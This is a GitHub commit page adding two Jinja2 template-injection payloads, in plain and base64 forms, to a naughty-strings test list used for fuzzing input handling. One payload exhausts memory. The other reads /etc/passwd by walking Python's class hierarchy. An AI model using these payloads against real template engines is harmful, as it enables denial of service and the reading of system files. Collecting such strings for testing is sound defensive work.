Skip to content

Commit

Permalink
added jinja2 injections
Browse files Browse the repository at this point in the history
  • Loading branch information
tryauuum committed May 18, 2020
1 parent 9c25300 commit 0d5fd11
Show file tree
Hide file tree
Showing 4 changed files with 24 additions and 2 deletions.
5 changes: 4 additions & 1 deletion blns.base64.json
Original file line number Diff line number Diff line change
Expand Up @@ -671,6 +671,9 @@
"VGhlIHF1aWMICAgICAhrIGJyb3duIGZvBwcHBwcHBwcHBwd4Li4uIFtCZWVlZXBd",
"UG93ZXLZhNmP2YTZj9i12ZHYqNmP2YTZj9mE2LXZkdio2Y/Ysdix2Ysg4KWjIOClo2gg4KWjIOCl",
"o+WGlw==",
"2q/ahtm+2pg="
"2q/ahtm+2pg=",
"eyUgcHJpbnQgJ3gnICogNjQgKiAxMDI0KiozICV9",
"e3sgIiIuX19jbGFzc19fLl9fbXJvX19bMl0uX19zdWJjbGFzc2VzX18oKVs0MF0oIi9ldGMvcGFz",
"c3dkIikucmVhZCgpIH19"
]

9 changes: 9 additions & 0 deletions blns.base64.txt
Original file line number Diff line number Diff line change
Expand Up @@ -899,3 +899,12 @@ o+WGlw==
# This is a four characters string which includes Persian special characters (گچپژ)

2q/ahtm+2pg=

# jinja2 injection
#
# first one is supposed to raise "MemoryError" exception
# second, obviously, prints contents of /etc/passwd

eyUgcHJpbnQgJ3gnICogNjQgKiAxMDI0KiozICV9
e3sgIiIuX19jbGFzc19fLl9fbXJvX19bMl0uX19zdWJjbGFzc2VzX18oKVs0MF0oIi9ldGMvcGFz
c3dkIikucmVhZCgpIH19
4 changes: 3 additions & 1 deletion blns.json
Original file line number Diff line number Diff line change
Expand Up @@ -510,5 +510,7 @@
"Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗",
"🏳0🌈️",
"జ్ఞ‌ా",
"گچپژ"
"گچپژ",
"{% print 'x' * 64 * 1024**3 %}",
"{{ \"\".__class__.__mro__[2].__subclasses__()[40](\"/etc/passwd\").read() }}"
]
8 changes: 8 additions & 0 deletions blns.txt
Original file line number Diff line number Diff line change
Expand Up @@ -731,3 +731,11 @@ Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
# This is a four characters string which includes Persian special characters (گچپژ)

گچپژ

# jinja2 injection
#
# first one is supposed to raise "MemoryError" exception
# second, obviously, prints contents of /etc/passwd

{% print 'x' * 64 * 1024**3 %}
{{ "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}

0 comments on commit 0d5fd11

Please sign in to comment.